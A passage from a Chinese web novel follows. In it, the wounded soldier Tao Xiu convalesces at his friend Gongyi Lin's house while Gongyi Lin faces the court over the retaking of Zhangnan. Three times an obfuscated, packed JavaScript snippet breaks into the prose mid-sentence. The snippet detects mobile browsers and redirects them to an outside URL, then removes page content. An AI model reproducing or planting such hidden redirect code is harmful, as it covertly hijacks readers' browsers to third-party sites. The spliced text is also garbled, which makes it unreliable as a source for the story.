公仪林立即把床上的被褥铺到竹席上,动作生疏别扭,把被子的四个角扯弄很久才转身邀功似地说:“整齐了。”帮陶修披了件衣裳,扶至离炭盆近些的位置坐下。 陶修打量屋内陈设,仅一张案几和茶具,不像常住人的地方,空间狭小倒挺暖和,“这是哪里?” “县署后院的一间宿客房子,单独留给你静养。” 陶修感激地笑了一下,“所以我睡了两天,连个梦都没做。”闭眼沉睡之前很踏实把后面的事交付到公仪林手中。 “坐过来,给我看看伤。” 94.在家等我回来 公仪林略犹豫后,老老实实跪坐在陶修的左前方,一件一件褪下衣裳,前面炽热的碳火把皮肤烤的红而刺痛,背后却又另一种凉意,前后不同温度夹击出一个浮想联翩、想入非非的人来。 几层衣裳褪至腰部堆出优美的线条。陶修用平静的目光从他肩颈一直扫到劲瘦的腰,垂下的几缕发丝挡在绷带上遮了视线,他伸出两指轻轻拨开黑发,触上伤口位置,这具紧实漂亮的身躯颤了一下,腰肩挺得笔直,双手紧攥衣角一动不动。 “不能仗着年轻就轻视它。” “嗯,回去后我一定好好将养。”声音又顺从又老实,挺像小时候跟在陶修后面听话的模样。 “穿起来吧。” 就这?这就叫看伤? 公仪林一层一层穿上衣裳,系起一处又一处衿带,越系越懊恼,懊恼陶修的话向来说不到他想听的地方,羽毛拂过心头,痒痒刺刺,看伤口,真的就只看一眼伤口,你的眼又不是神丹妙药,多一下的抚触都没有。赌气似的把衿带猛地收紧,终于忍不住挑衅:“你没醒时,我亲过你。” 陶修惊了一下,盯着公仪林的后脑袋,没有贴身侍从打理头发有点凌乱,跟他现在毛绒刺挠的脾气有点像,觉得有点好笑,也很可怜,宽容镇定地问:“是吗——” 反应太平淡,不够,公仪林把牙根咬地吱吱响:“呵,亲了很长时间,你不觉得嘴麻?” 如此赤裸大胆的挑衅,陶修立即不悦地止住:“槐序,别说这些。” 最后一根带子系好,公仪林转过身歉疚地看着他:“与你一起来漳南的同袍都为国而死,我不该说这些轻浮的话,”可怜巴巴地乞求:“但是,康乐,我也是伤员,你关心关心一下我能不能?” 陶修愣愣地看着他,若不是浑身伤痛,一定招架不住他这双渴求安抚的双目,这公子自幼的一身娇贵何时伤过,更没见过尸体横陈的战场,一夜过来能体会的他都体会了,求抚慰的要求并不过分,缓缓抬起右手将要摸上他的头,门外响起敲门声,是张城的声音,“粥放这里了。” 公仪林调整好坐姿毕恭毕敬地等着头上挨一道陶修仁慈又纵容的触摸,听见敲门声,也只得恼怒地叹口气起身去端粥。 陶修的左小臂被长戟捅了对穿,手指上还残留干燥的血痕,五指疼痛到无法蜷缩,指肚肿胀透明,他把粥放在嘴里细嚼慢咽,盯着没有知觉的手臂说:“这条手臂可能废掉了。” 云淡风轻的口气,仿佛小时候雕一件佛头,下错了无可挽回的一刀后,毫不可惜的来一句:“雕废了。” 公仪林也盯着惨不忍睹的手臂,信誓旦旦保证:“绝不会,我会给你请城中最好的医工。”他用绿玉一样的瓷勺敲击碗的边缘,不紧不慢地敲着,也不说话。 陶修很奇怪他的行为。 “康乐,跟我去都城养伤吧。”没指望陶修会轻易答应,正准备一场拉锯战,却立即听见干脆地接话:“好。” “真的?”公仪林一下按住案几爬起来,压不住眼中兴奋的光芒。 “我没对你说过假话。” 三天后,他们从漳南直接回了京口。漳南的一切事务先归胡墅的葛伏代为总管。 送他们出城那日,辛南佐搂过陶修,把自己硕大的光头与陶修的头碰在一起,压低声音道:“有一年我在邺城晃荡,遇到永定寺的认真禅师,禅师带我云游四海,走遍名山大川,那段行程令我心胸豁然,我便在他面前剃掉了三千烦恼丝。认真禅师今岁春天圆寂在永定寺,我算是他半个弟子,打算在此留个三五年。麟儿,今后你若听到无法相信的传言或是发现不能接受的身世,就尽管来永定寺找我,我会在此等你。” 陶修的头被师父压着,俯视脚下的尘土,好像对许多事都很明了,显得比往常更冷静:“有些事情我只是不敢问,不代表我毫不知情,关于我的身世,我也有想问你的地方,我们先暂别吧,等我来找你。” “好,师父等你。” 回京口的一路,大江两岸的金色稻田已收割入仓,天气晴朗干燥,寒风直往怀里钻,倒令人神清气爽。到达京口后,已有几十条船只在江面迎接,迎接活下来的人和死去的人,面对活人和死人,原来同一颗心可以同时有喜悦和悲痛两种感情。 公仪林急着赶回建康,见过卢思苌后把陶修负伤一事如实说出,并要求带他回京城养伤。卢思苌答应了他的一切请求,后又惋惜地问:“我将给活下来的将士开个庆功宴,陶修那份荣誉恐怕不能在众将士面前展现了。” “陶修不在乎表面上的声誉,他这次缺少的,我会补给他。” “还有赏赐之物,他也有。”卢思苌提醒了一下。 公仪林忙道:“我也再送他一份。” “我还打算提拔他在军中的职务。” “我也能,我……”江矶营提拔将士的标准太高,他确实已决定在圣上面前力荐陶修,但不能此时就在卢思苌面前说出来。 卢思苌抚须呵呵大笑,年轻人稚嫩、纯一不杂的情谊在他有些春秋的人面前显得莫名可爱,“我营中也并非全是刀兵器械冰冷无情的东西,有功就有赏,带他去修养一段时间吧,至于何时回来就随他的决定。” “多谢伯父。” 回京路途颠簸,公仪林、陶修一众都身负重伤,只能乘船溯水向西走一段平稳的水路,后又从新洲登陆,乘马车缓缓入都城。 阿八快马加鞭先行进城,提前告诉司子尽快打扫房间迎接贵客。 公仪林把陶修送至无名小院连家门都不敢进就匆匆赶去宫中复命,片刻不敢耽搁,上马要走时,心里忽生出一种说不出的惬意和愉悦,调转马头朝门前走近几步朗声喊道:“康乐?” 陶修正由司子扶着,闻声慢慢转过身看向他。 “在家等我回来。”他露出一嘴整齐的皓齿,那张笑意灿烂的脸令旁边的人看了也觉得舒心。呵,家,这个还没有名字的小院像等来了主人。 “嗯,你快去快回。” 尚不知等待公仪林的是口诛笔伐还是嘉奖赏赐,不管哪种,他都做好担下全责的准备。 公仪达已在宫门前等候他多时,一见风尘仆仆的侄儿,先眉毛倒竖骂了他一顿,才将最坏的结果告诉他:“你离京的日期远超走时定下的十日期限,这算一桩可大可小的事,圣上念在你忠心耿耿可以不计较,可你居然跑到胡墅领兵打仗,这事非同小可,要提防。” “漳南不是回到吴州了么?这就够了。” “回是回来了,可后果不堪设想,现朝臣吵成一片,都在议论这城该不该夺!” 两人徐步慢行,一起朝太极殿东阁走去,“听到漳南重归大陈疆域那日,朝中多数人都觉得痛快、欣慰,但藏在后面的危机也不言而喻,等见了圣上,小心杨弘易等人在圣上面前尽言弊端。” “姓杨的我早就看他不顺眼,只要他敢在圣上面前说一句不该夺回漳南的话,我一定找机会收拾他。” 公仪达拍拍他的肩耐心说教:“你这逞口舌之快的毛病要改改,毛躁无脑的话少说。杨弘易投圣上所好,整日聚一帮文臣、清客饮酒弹唱,又兼现在四方无战事、天下太平,圣上早就不知何为居安思危、防患未然,朝中大小事皆是杨弘易说了算。你不在的这二十多日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150199|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把族中一个妹子献给圣上,圣上见之大悦,当即册封昭仪,哼,此人现在到处横着走。” 连大伯这种不怒自威的人都用鼻孔去蔑视一人,可见这姓杨的真的招恨。 “圣上自幼就囿于皇宫之内,对民间疾苦和大陈周边虎狼环伺险境的了解都是靠几张不放在眼中的奏折知悉,老太傅和诸位老师先生告知他再多,可圣上终究没到过民间,也不知道什么是真正的威胁。万人之上的高位,若身边都是杨弘易这样粉饰太平的的小人,我一时竟不知那些舍身卫国的将士之死到底值不值得。” “休要胡说。”公仪达朝他后背来了一掌。 公仪林进入东阁,等着他的除了陈明俨,还有陈颛、杨弘易、周燃一众老臣,以及一脸钦佩之色的陆颢。他先看见陆颢充满善意、钦佩、羡慕的脸,才对这次闯下的“祸事”有点清晰的摸底,不至于嘴上说着不怕心里还是惴惴不安。 他向陈明俨稽首时刻意夸大背后伤势,以致于站直时险些摔倒,扶额不停地自责在殿前失仪:“陛下,臣头痛脚跟不稳,在陛下面前有失仪态,实在不该。” “公仪将军受伤了?为何没人跟朕提起,快赐座。” 公仪林推辞一番后落了座,挺直脊背准备单身力敌其他朝臣的声讨、批评、口诛。 东阁的人都在等他复命夜袭漳南一事,都明白是要讨伐他,但谁也不敢先开口。 还是陈明俨咳嗽一声,把这事摆上台面:“你说去京口会友,为何领兵杀到了漳南城?” “想必陛下已收到卢将军传来的文书,知晓经过。漳南自周军入城之后,伊娄振明以侵略占有之心对待城中百姓,烧杀抢夺无恶不作,漳南百姓苦不堪言,纷纷拉家带口逃到胡墅。卢思苌不忍百姓受难,更悲愤他亲手夺回的疆土丢失在周手中,所以才借扰境之名把漳南重新拿回。臣确实是去京口会友,却不知那位友人正参与此次的夺城之战,臣在胡墅领兵攻城,一是见友人身处险境,二来,漳南本就是大陈的疆土,我很不甘失之他人之手。” 杨弘易冷笑一声,把两手拢在袖中,趾高气扬道:“右卫将军意气用事。虽以扰境之名夺回漳南,可伊娄振明手下近三千人被俘,这可不是扰境的小事啊?” “葛伏已将三千俘虏悉数放回,仅擒获伊娄振明和几员大将,周军卸甲离去心存感恩,没有给他们太大重创,活着来活着回,周还能找出什么借口。” “七月把漳南割让给周,十月就以小动作取回,试问此事若发生在我朝身上,谁人不怒?周现在被突厥所缠无心南下,若等他们安定北方,新仇旧恨一起来算,到时候恐怕就不是割一二城就能和平解决的事了。” 这时公仪达恨恨地开口:“杨尚书之言是有理,但你忘了漳南之于陈的重要,漳南的西北是寿阳,寿阳自古就是军事重镇,若无漳南在中间做屏障缓冲,守着周军不敢过界,杨尚书就不怕哪天一觉醒来碰上敌人抵在你额头的长枪。何况一国若以割城求自保,恐怕不是——漳南城是必定要取回的。” 陈颛也出言道:“丢失城池是一国的耻辱,卢思苌、公仪林的举动皆是为国,绝无私心,望陛下对二人重重嘉奖。”他望一眼杨弘易,露出鄙夷厌弃的神色,翻个白眼:“杨尚书很爱干割城求生的事,听说前年杨尚书腿患脓疮久治不愈,明明喝几副药就能根治的事,硬是哭着让医工卸掉那条腿,医工被缠无奈,只得加重药的剂量方把腿治好,可见杨尚书为人是为了自保,不惜把大腿都要割掉的人。” 杨弘易也不冷不热哼一声:“命都保不住,还要腿做什么?” “那试问医工是做什么的?” 95.这位公子是谁 陈明俨抬手阻止他们继续斗嘴,视线落在眼前的几本书上,若有所思,沉默片刻后把身体往前挪一点,整个身子都趴在案几上,悉心请教众人:“假若周国因此次挑衅而震怒,挥兵南下,该若何?” 公仪达道:“京口、历阳两地有卢思苌和鲁云渊两位大将坐镇,大江南北岸严守的固若金汤,又有长江天险不可逾越,周绝不会轻易动兵,但今后似此次夺回漳南的边境摩擦必然是不会少。以长远来看,还要陛下避馋邪思正身,励精图治,居安思危。” 陈明俨坐正身子,清清方才因后怕显得浑浊的嗓子,正色道:“你们所虑所想朕已明白了,总而言之,众卿皆非常赞同夺回漳南城,想法一致。事已至此,也没什么好争辩的了,周被打了脸面必不会善罢甘休,传令至京口、历阳两地重镇,务必比平日更加严密防备周的一举一动,有备无患。至于公仪右卫,你外出游玩还顺势立下军功,有什么需要朕赏赐的吗?” 公仪林终于放下悬在心口的巨石,轻舒一口气站起来,婉拒了圣上赏赐一事:“臣外出未按规定时日归来,有失职之过,何敢求赏赐,陛下,让臣回家多歇几天吧,连日奔波,臣有点累了。” 公仪达和李颂听他最后一句话,不禁眉毛抽动,这小子说话经常直白的像个傻子。 “好,好,你有伤在身,这段时间就在家中歇着吧。” 走出东阁,很快陆颢从后追上来,一把按住公仪林的肩头笑问:“右卫将军好运气,你不知这段时间,陛下两次问起你外出不归的事,我和蒋左卫根本不敢回答,还好你将功补过把此事糊弄过去。有没有时间,我想听听你打仗的事,去你家?” 公仪林抱拳歉疚道:“圣上面前不敢说假,这几日太累,容我缓缓,三五日后我在家中摆酒,请你和李颂赴宴如何?” “啧,原以为你新置宅院会有顿酒吃,等了半年多都不见动静,现在又推脱,莫非你家中藏了宝贝怕给人惦记上?三五日就三五日,我等着了。” “宝贝?”公仪林暗暗揣摩宝贝二字,偷乐一瞬,回答陆颢:“还是陆武卫你好说话,那就告辞?” 公仪林昂然离去,步伐稳健,陆颢眯眼盯着他快速离去的背影,非常确信此人的疲惫都是假象:“哪里有累的样子。” 司子一直站在大门外向西张望,一阵急促的马蹄声后公仪林的身影很快从转角处出现,他忙迎上去牵马、回话:“公子可回来了。这段时间我把心都焦干了,公子三岁起我开始服侍你,至今已十四年,就算是上次我回了趟汝丘也才十八天就回来,何时跟你分开过这么久,这次去京口为何不把我带上,嫌我没武艺,可我会照顾你起居啊。你进宫后陶公子就睡下了,到现在一点动静都没有。先不用管他,我伺候你洗漱用饭。” 司子絮絮叨叨说了一堆不满的话,公仪林只听见一句陶修睡了,“他一直在睡?没要吃的喝的?谁守在他门外?” “冰清二人守在门外。” “我去看他。你去把东城的张医工请来,家里好几个人都需要他来诊治。” “除了陶公子,还有谁伤了?” “我也伤了,快去吧。” 陶修已醒来多时,倚靠在床上出神地盯着半开的窗外,听见推门声他轻轻转头,在见到公仪林时眸中闪过一瞬的喜悦,“我以为你会至晚才回,有没有受到刁难?” 公仪林坐到床沿,盯着他询问的目光看了很久,满足地叹口气:“想到你在家里,即便此刻把我关进大牢我都不怕。” “卢将军那边?” “你在担心卢将军?他是何等人物,圣上怎会怪罪他,朝中也无人够格参他一本,圣上对那夜的成果很满意。” 公仪林见他脖颈的绷带又洇出一点血迹,不知怎样做才能减少他的疼痛,“是不是很疼?” 这几天脖间伤口的疼越发火辣尖锐,让这个不惧刀剑的人头都不敢点一下,从嘴里闷闷地“嗯”一声:“像烧起来了。” “那你还坐起来干什么,我扶你躺下。” “无碍,”他侧身看向窗外,说:“我想到院中走走,方才就想出去,主人不在家中不敢造次。” “行,我跟你去站会,但不能久站。” 公仪林一壁扶他下床,一壁把这座宅院至今没有题名一事当作憾事拎出来:“大半年了,每有人提起我这住处都称之为‘无名小院’,我一直在等你想个名,外面走上一圈给你找些灵感,确实不能总闷在屋里。” 已是初冬,小院的草木该落叶的落叶,该枯萎的枯萎,只有两株纤细的桂树有些绿意,小院正中间的绒花树上盛夏悬挂的彩色灯笼还未摘下,有几盏灯笼纸被风吹破,挂在枯枝间有萧条之意。这院中不该有任何颓色,就像眼前这个人顺遂如意的一生,它该与主人一样。 “灯笼旧了就取下。”陶修对公仪林要求。 “好。”公仪林随即让下人搭梯取下旧灯笼,“还是夏天那会挂上去的,当时在树下招待了萧钰父子。” “哦?梁国萧氏都来过这里?” “萧氏父子仪表出众,他们出现在小院时我才明白何谓蓬荜生辉。你没亲眼看见他们的模样,尤其萧钰,身材高大器宇轩昂,我还未见过像他那样贵气的人物。说起来,你和他们还有几分相似。” “你真敢说笑,拿萧梁宗室跟我这样的人比,他们若听见了,还以为你私下有多轻视他们。” 二人把小院每个角落都走一遍,公仪林兴致高昂地指着残枝枯叶吹嘘它们春夏季节的茂盛和欣欣向荣,还责怪陶修几次拒绝他当时邀他来做客的请求:“冰清玉润四人把此处打理的花团锦簇,你若早点来,何至于现在满眼都是寒冬的凋敝之色。” “各人有各事,我在营中岂能说走就走。” “恐怕是借口。” 陶修脖子上的伤口不能吹风,披了件公仪林的狐裘,油亮乌黑的狐毛光滑柔软,把他消瘦的脸遮了半张,露出一双沉静漆黑的眼,眼中有藏不住的忧郁,寒风里这黯然憔悴的神色更衬得他楚楚动人,公仪林无来由的一阵怜惜心疼,忍不住又开始动手动脚。 先是握下陶修冰凉冻骨的左手,又替他轻轻拉扯裘衣挡住伤臂,捋顺挡住陶修嘴巴的狐毛,“你冷不冷,要不要回屋?” 陶修受伤的左臂吊在胸口,伤处肿胀疼痛,时而心惊肉跳地抽痛几下,指头还不能控制它蜷缩,任由公仪林在身上拍拍打打,已习惯他有时候完全不必要的照顾。 他们的行为举动却把院中的几个丫头看迷糊了。 无名小院单有公仪公子这张脸就足够令人浮想联翩,忽而今日又来了一位贵客,比公子还俊上三分,几乎让正处冷冬的小院重获春意。那两人似乎对入冬后唯一还在绽放的菊花饶有兴趣,一地深红、浅黄的菊也很争气地怒迎冬风,神气十足。 从冰清玉润四人的视角看去,两位公子立在院角赏花的模样像幅嵌在画卷上的深秋图,赏心悦目、悠然自得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161417|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个姑娘像雀儿一般在廊下坐成一列,衣裳鲜艳脸盘娇嫩,头搭肩相依偎,以赏景的姿态静观院角两位有出尘之姿的公子,陷在各自构想的云雾一样柔软、朦胧的梦境里,面露痴色。玉儿以手捧心,在其他三位姐妹前炫耀道:“养那丛菊时,未曾想过它们还有今日的荣幸。” “是这位公子来的巧了而已,待明年春,希望我们公子再请这位不知名的公子来一回,叫他看看满园春色。” “明年我种的紫藤还很瘦,这要如何是好呢?” “你们说,那位公子究竟是什么人?身上的伤又是怎么来的?公子的朋友怎么能伤成这样?” “这一身的伤,恐怕要在此住上一段时间吧,总会有关于他来历的风声透露出来。” 她们细声软语议论院中的两个人,没察觉司子站在身后。 “你们好奇那位受伤公子的来历?” 冰清玉润被司子突然冒出的声音吓得花容失色,一群鸟雀似的炸开,“大管事!” “坐下,坐下。”司子歪靠在廊柱上,像个操心的老父,懊恼地监视院角两个不知天高地厚的逆子,顿了很久才提起一丝精力告诉她们:“他是公子从小就认识的人,他们常来往,关系……匪浅。” 润儿恍然大悟道:“难怪二公子还给他拽拽衣裳,无微不至。” “他有多大?” “不知道!” “他是怎么伤了?” “不知道!!” “之前我们从未见过他,那位公子是远道而来?” “不知道!!!”司子确实很矛盾,虽说答应过公子要视陶修为客上宾,但想到二人的关系,依然觉得是陶修拉上公子走了条不归路! 冰清玉润察觉司子口气逐渐冰凉,害怕打听多了怪罪,拢拢袖子挤成一团不再搭理他。司子百无聊赖站了会,无趣地去大门外迎接张先生。 公仪林把玉儿精心侍弄的菊花折下两支,一瓣一瓣揪下来扔在地上,“你这一路上精神萎靡,情绪低沉,心里在想什么?” “我在想,能太太平平活一辈子还真不容易。” “何出此言?你是忘不掉那夜城门前血腥场面?” “忘不掉。所以我比任何时候都想来你这里看看,我感觉身心俱疲,想像师父那样做个四处漂泊流浪的人,”他抬眼苦涩一笑:“做乞丐也无所谓。当你要我跟你来此养伤时,我很开心。” “我从你脸上可没看到一点心甘情愿,不知道的以为是我拿刀胁迫你来了。安心在此养伤,什么都不要想。” 正说着,司子领着张医工从外进来,“公子,张医工来了,两位都先回屋给医工看看伤势。” 先扒开伤势的是公仪林,张医工一边观察伤口的愈合一边夸赞:“公仪公子坚韧勇猛,这伤来的光荣啊。伤口愈合的很好,平时不要剧烈运动,不出一个月就能恢复如初。” “多谢张先生,再请看看我这位朋友的伤势。” 这位张医工揭开陶修包裹喉咙的最后一层白布时,顿觉脚底发软,一阵由致命伤口刺激带来的酥麻传遍全身,他转头问公仪林:“何人所伤?几乎要了这位公子的命啊!” “请张先生仔细诊断。” 张医工小心翼翼查看喉部伤口的长合后,又解开陶修左臂上的布带,受伤地方的皮肉/缝合的很粗糙,手臂几乎肿大一倍。他抬袖擦掉额头不停往外冒的冷汗,轻轻按住左臂的几个穴位,问:“有无感觉?” 96.题字绒华小院 陶修平静回答:“有一点疼痛感。” “那就好,还有恢复的可能?” 公仪林紧追一句:“有恢复的可能?这话是什么意思?” 张医工翻了眼这个惊恐无措的外行人:“他的伤口被缝合了,我无法诊断经脉是否全部挑断,从微弱的脉象推断他能保住手臂已是万幸。”说完起身准备回案几前写药方。 “还有一处伤,先生一并诊治。” 张医工步伐打软,撑着腿一言不发又坐回床边,这道道伤口都像铁锯锯瓷器,尖锐地挫着他的视觉。 第三处伤在胸口,较其他两处轻很多,已有化脓结痂的愈合迹象,张医工终于舒出一口气,伸手让司子扶他走回案旁,在药方上思考的时间比往常开方用时都长,不计药材成本,但凡他认为有利于伤口的名贵药都写上,写完药方,用少有的慈祥口气问坐在床上的陶修:“孩子,你多大了?” 陶修不知年纪与伤势有什么关系,懵懂地回道:“十九。” 公仪林紧攥衣裳一角,屋里人与物都在晃动,不动声色等着张医工的下一句话。 “哦,才十九啊,是何原因遭此残忍的伤害?我行医多年,看过这种伤口还是在大战之后的疆场上清理尸体,你能活下来不容易,一是你年轻强健有足够给你挺和忍的精力,二靠的是运气罢。” 陶修起身要谢他吉言,他忙摆手道:“快躺下养着吧,这身子得养个半载才成。” “我的手还能不能恢复如初?” “我说不准,半个月后我来给你针灸,若经脉没断,还有恢复的可能。” “有劳张先生。” 张医工用烧开的汤药替二人洗净伤口,又小心翼翼重新包扎,完事之后累的双手打颤,频频抱怨:“我给你们二人吓得不轻,回去要好好歇会。” 送走张医工的司子关上院门,仰望夜空璀璨的星辰,在灯笼下呼出一口白气,他决定从今往后一定以待二公子一样的诚心对待陶修,光凭陶修这一身的胆色和毅力,他发现此人身上有令人不得不喜欢的优点。 司子走进屋里,发现陶修已被勤快热心肠的二公子按回床上躺着。 说起来他家公子的勤恳程度完全视人而定,公子自小就习惯别人服侍,亲力亲为的事少之又少,更不论端茶倒水、铺床叠被,有时连穿衣系带这点小事也不肯动手,唯独在陶修跟前,就完全暴露他也能当人大仆的潜质,想到二公子四肢不勤养尊处优的模样也能把陶公子的被角掖的平平整整,实在是好笑。 “陶公子,我已让后厨烧了猪肝汤,你现在别睡,等会和二公子一块喝些。” 陶修闭着眼睛悠悠答道:“好啊,我也饿了。”往日的精气头被三处重伤卸掉大半,极其容易困乏,说话声又温又无力。 司子又轻声问公仪林:“用了饭后你准备回屋睡,还是在陶公子这屋打个地铺?” 公仪林立即转头“询问”陶修的意见,见他躺的安安静静没有反应,以指压唇对司子作噤声的手势,指着地上的席子。 司子心领神会,为照顾他的面子,面无表情轻轻退出房间。这天气寒冷,睡地上得铺得厚实些才行。司子把公子房间的三床被衾和后厨的一盆猪肝汤同时送到陶修屋中。 陶修被喊醒起来用饭,见司子踩在席子上铺被褥,讶异地问公仪林:“你要在这屋睡?” 公仪林漫不经心回道:“是啊,这汤终于好了,我喜欢冷天喝一碗冒热气的鲜烫。” “睡地上,恐怕到夜里会受不住吧?” “我给你盛汤,你慢慢坐过来。” “就算铺的再厚,地面湿气还会侵入身体,早晨醒时骨头能僵掉。”陶修慢慢下床走过来。 “咸淡正合适,我给你盛碗大的。” 陶修见他装糊涂避开话题,落座时也不咸不淡说一句:“床很宽,晚上跟我一块挤挤吧。” 公仪林欣喜不形于色,家里空房还有好几间,实在找不出挤一屋的理由,既然是他本人主动提出,肯定恭敬不如从命,用盛汤动作掩盖心底的狂喜,装模作样平静的回答:“好,勉强挤一下吧。” “你的睡房离这里也很近,或者你每晚……” “就这样定了,司子,把我的被子搬到床上去。” 临睡下时,公仪林欲将敞开换气的窗子关上,在窗前站了片刻,忽转身把屋内唯一的油灯吹灭,柔声对已躺下的陶修说:“康乐,今夜月色清冷明亮,要不要看一眼?” 月光透过窗户在地面照出一片清亮的碎光,屋内光线朦胧,香炉的幽香被夜风吹淡。陶修走到窗前仰望天穹那轮孤独的月,轻声笑道:“你雅兴很高,我只感觉冷。” “你不觉得今夜的月适合思念?” 陶修的心猛地皱到一起,拇指把四个指头都抠了几轮,还是接了他的话,“你,你需要思念谁?” “你就在跟前,我用不着再思念,就是同情今夜之前每个月夜都站在窗前发呆的可怜人,他的心意另外一个人未必能懂。” 陶修始终无法坦然面对两人间的感情。他的不坦然源自害怕和自轻,这位公子任性洒脱,在年少时可以任意放逐感情和身体,也能在某一天失去兴致突然收手,于贵公子而言没有任何损失,可他没有公仪林纵情不羁、及时行乐的魄力,他能失去的东西太少,每一样都弥足珍贵,这份情谊他看得很重很重。 他必须理智的守住两人间难得的情谊。 两人在一片寂静中吹了会窗外天寒地冻的冷风,陶修体弱虚乏,拢拢衣裳摸回床上:“我有点困了,这次败你雅兴,等下回天暖夜长,我们就约在月下喝上一坛如何?” “天暖之时?”又是个要去等待、期盼和煎熬的漫长的期限。 这一夜看起来过的很平静,屋里暖和,床铺也柔软,但陶修没觉得比在军营睡得舒服,主要问题还是出在公仪林身上。这混小子睡觉像只蜘蛛到处都是腿和手,无论他怎么挪和躲,总有胳膊、腿搭在身上压着、撞着,碰到胸口伤处时,有种灵魂从天灵盖出窍的痛楚。 清晨洗漱时,陶修回想夜间被冻得到处摸被的无可奈何和伤口被压时灵魂升天的憋屈,漫不经心来了句:“公子啊,今夜回去睡吧,我对你存有的一点喜欢就要因你睡觉不老实而消失殆尽了。” “你说什么?”漱口水在口里咕噜咕噜几次准备吐出,公仪林听到他想听的几个字忽地把水咽下去,忙擦嘴又问一遍:“你方才说什么?” “我说你睡觉不老实。” “你装糊涂也迟了,我都听见了。来,我帮你洗脸。” 给公子房间送完热水的润润退出后,拎着烧水的铜壶一路飞奔,轻盈欢快,甜美的笑容里夹着几分迫不及待的分享欲望,她猛的推开房门,对冰清玉三人喊道:“快,告诉你们一件新奇事,谁给我捶腿我就跟谁说。” “那就不稀罕听。” “是关于我们公子和陶公子的事情。” 三人立即放下手中的活凑到润润身边叽喳乱问:“陶公子的容貌经得住近看吗?” “何止是经得住,比远看还英气俊朗,声音又温和好听,他跟我说‘多谢’。”方才不过是替陶公子倒了半盆洗脸热水就得到一句温柔的谢意,润润醉在其中,捧脸呵呵傻笑。 “陶公子多大了,那身伤又是怎么来的?” “不过送一趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176082|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热水,我哪里能打听那么多,慢慢来嘛。” “我们公子昨晚也住在那屋,他们果然是从小一起长大的关系。” 这句话陡然提醒润润,她鬼头鬼脑把四下扫视一遍,压低声音神秘兮兮道:“我正要说这个,我进门时,你们猜我看见了什么?” 四颗头又凑近一些。 “我看见我们公子在帮陶公子系衿带,从这里开始,然后到这里——”她从肋骨向下滑,又慢慢移至腰际,作个系结的动作,默默等待其他三人的反应。 那一个结像是打在几只雀儿的心上,她们一齐发出好奇的叹息,想象润润有幸看见的场面。 这时,冰冰提出疑问:“陶公子的手臂不是伤了吗?他确实不能自己穿衣裳。” 润润驳道:“我们来此是做什么的你忘了?无名小院的杂活重活大管事几乎不让我们做,但伺候公子的细致活难道也不能做?” “哦——”她们又一声意味深长的感叹,“晚上的热水我来送吧。” “既然都想送,那就轮流来。” 四个姑娘嘀嘀咕咕把伺候人的活分配的干干净净。 五日后的傍晚,陆颢如愿来到无名小院。站在大门前,仰头一字一字念出新挂匾额上的名字“绒华院”,正琢磨其中的意思,刚好公仪林从内迎出来,他就指着门匾问院主人:“你这院名是不是错了一个字?” “胡说八道,求了大半载才得来的名字,万金难求。” “哪位高人赐的名?我只听过‘荣华’,却不知‘绒华’是何意?” “不管用哪两个字,对屋主而言,名字有其特别的意义就够了。” “这字写的有点……或许是我不懂书法大家的风格!” “不懂就不要多言,我觉得挺好的。”公仪林捏着下巴,又一次溺在天真稚气的几个字里。 陆颢走进厅堂,受邀的几人都比他先到,施礼时打趣道:“一散了值我就往这边赶,你们俩居然比我还早,可见你们上值时都在浑水摸鱼。” 公仪鸾指着陆颢手中的两坛酒说:“我们也都刚到,你在路上买酒耽搁时间还说我们浑水摸鱼,还怕槐序这里没有酒,给我瞧瞧你买了什么?。” 陶修不确定陆颢是否记得自己,他起身走上前与之客气行礼招呼。 陆颢确实没在第一时间想起此人名字,随后猛然记起去年冬他从冰冷的河里爬出来的苍白模样,如今一年过去,这人好像还没从那场挨冻的伤势中恢复过来,可怜巴巴孤立无助,“你就是景风所说的漳南城门两百勇士仅活下十八人之一的陶修?他说不甘落后于你,非要在那场仗中夺一份功劳,气人吧?” 陶修道:“公仪景风临危不惧,勇猛无畏,此次能拿下漳南,若不是他率军冲进城内扭转南门败局,恐怕会有更多的人死于敌军刀下。” “是啊,我们几人十分钦佩他的勇气,今日特地来此听他讲述那夜的经过。” 来人只有陆颢、公仪鸾、李颂三人,这是群年纪相差不多又因某些必要的原因经常来往的团体,聚会时常对朝中看不惯的人或事骂不绝口、与不同于他们阵营的朝臣勾心斗角。不管入仕时多自视清高的人,一旦身处这个环境、蹚了朝堂这汪池水,不可避免会找到与己相同利益的团体加入进去。有时公仪林看他们大骂杨弘易一党人,总会安静地记起自己曾经说过绝不与人为党的天真话语。 这是个“志趣相投、党同伐异”的群体。 